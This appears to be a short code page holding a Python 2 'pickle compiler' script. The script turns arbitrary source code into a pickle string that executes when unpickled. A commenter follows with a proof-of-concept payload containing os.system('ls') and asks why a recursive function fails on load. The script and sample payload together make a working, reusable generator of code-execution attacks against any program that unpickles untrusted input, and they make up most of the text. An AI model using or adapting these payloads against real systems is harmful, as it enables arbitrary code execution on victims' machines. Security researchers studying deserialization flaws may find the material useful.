python pickle compiler

pickle_compiler.py

## compile arbitrary python source code into pickle 
##  format. will execute on unpickling.
## 
## Author: Frederik Braun, Jun 2011
## Contact: <fb(AT)frederik-braun.com>
## Licence: WTFPL
## Python 2.7x

try:
    import cPickle as pickle
except ImportError:
    import pickle

from sys import argv

def picklecompiler(sourcefile):
    """ 
    Usually pickle can only be used to (de)serialize objects.
    This tiny snippet will allow you to transform arbitrary python source
    code into a pickle string. Unpickling this string with pickle.loads()
    will execute the given soruce code.
    The trick is actually prettey easy: Usually eval() will only accept
    expressions, thus class and function declarations does not work.
    Using the work-around of code objects (returned by compile()), we can
    execute real python source code :)
    """
    sourcecode = file(sourcefile).read()
    return "c__builtin__\neval\n(c__builtin__\ncompile\n(%sS'<payload>'\nS'exec'\ntRtR." % (pickle.dumps( sourcecode )[:-4],)


def usage():
    print "usage: ./%s file\n\nfile\tfile to compile into a pickle string" % argv[0]

if len(argv) == 2:
    print repr(picklecompiler(argv[1]))
else:
    usage() 

hello,I try to use this script to pickle my code:

import os

def fib(n):
    if n <= 1:
        return n
    return fib(n-1) + fib(n-2)
print fib(10)
os.system('ls')

got the payload, and save it to poc.pickle:

c__builtin__
eval
(c__builtin__
compile
(S"import os\n\ndef fib(n):\n    if n <= 1:\n        return n\n    return fib(n-1) + fib(n-2)\nprint fib(10)\nos.system('ls')"
S'<payload>'
S'exec'
tRtR.

but when I try to test the payload with the following code:

import pickle

pickle.load(open('./poc.pickle'))

I got error:

  File "C:\Python27\lib\pickle.py", line 1382, in loads
    return Unpickler(file).load()
  File "C:\Python27\lib\pickle.py", line 858, in load
    dispatch[key](self)
  File "C:\Python27\lib\pickle.py", line 1133, in load_reduce
    value = func(*args)
  File "<payload>", line 7, in <module>
  File "<payload>", line 6, in fib
NameError: global name 'fib' is not defined

my question is:
if I am not misunderstood ,this script should support to execute any python code.

but the error is about the function,maybe some issue.

hope your response,thanks!